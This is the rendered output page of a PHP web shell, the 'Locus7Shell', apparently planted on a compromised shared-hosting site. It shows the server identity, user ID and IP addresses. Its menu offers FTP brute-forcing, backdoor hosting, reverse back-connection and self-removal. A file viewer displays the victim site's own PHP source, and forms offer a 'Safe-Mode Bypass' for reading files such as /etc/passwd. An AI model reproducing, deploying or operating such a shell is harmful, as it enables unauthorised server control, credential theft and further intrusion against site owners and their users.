Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Presentation.php (1.45 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style type="text/css">
<!--
body {
    margin-right: 0px;
    margin-bottom: 0px;
}
-->
</style>
</head>
<body>
<p class="Style3">ACCUEIL</span></p>
<table width="800" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td>
<?php
include ("connect.php");
$get = mysql_query("SELECT * FROM presentation WHERE ID='1'");
$i=1;
while ($row = mysql_fetch_assoc($get))
     {
      // obtenir données
    $i++;
    $texte = $row['TEXTE'];

if (isset($_SESSION['identifiant']))
           {
           
            if (isset($_GET['valider']))
              {
              $text2 = mysql_real_escape_string($_POST['text2']);
              $num = '1';
              $query = mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'");
               echo "<p class='Style2'>Modification réussis</p>";
              $get4 = mysql_query("SELECT * FROM presentation WHERE ID='$num'");
              while ($row4 = mysql_fetch_assoc($get4))
               {
                  $texte4 = $row4['TEXTE']; 
                  echo "<p class='Style2'>$texte4</p>";
                  
                   }
              }
              else
              {echo '<table><form action="index.php?page=Presentation&valider=1" method="POST" enctype="multipart/form-data"><td><tr>
           <textarea name="text2" cols="80" rows="20">'.$texte.'</textarea></tr>
           
                    <tr><input type="submit" name="sup2" value="Enregistrer"></tr></td>
                    </form></table>';
                    }
           
           
           
           }
           else
           {
           echo "<p class='Style2'>$texte</p>";
           }
         
     }
     
?>
    </td>
  </tr>
</table>
</body>
</html>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 
Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--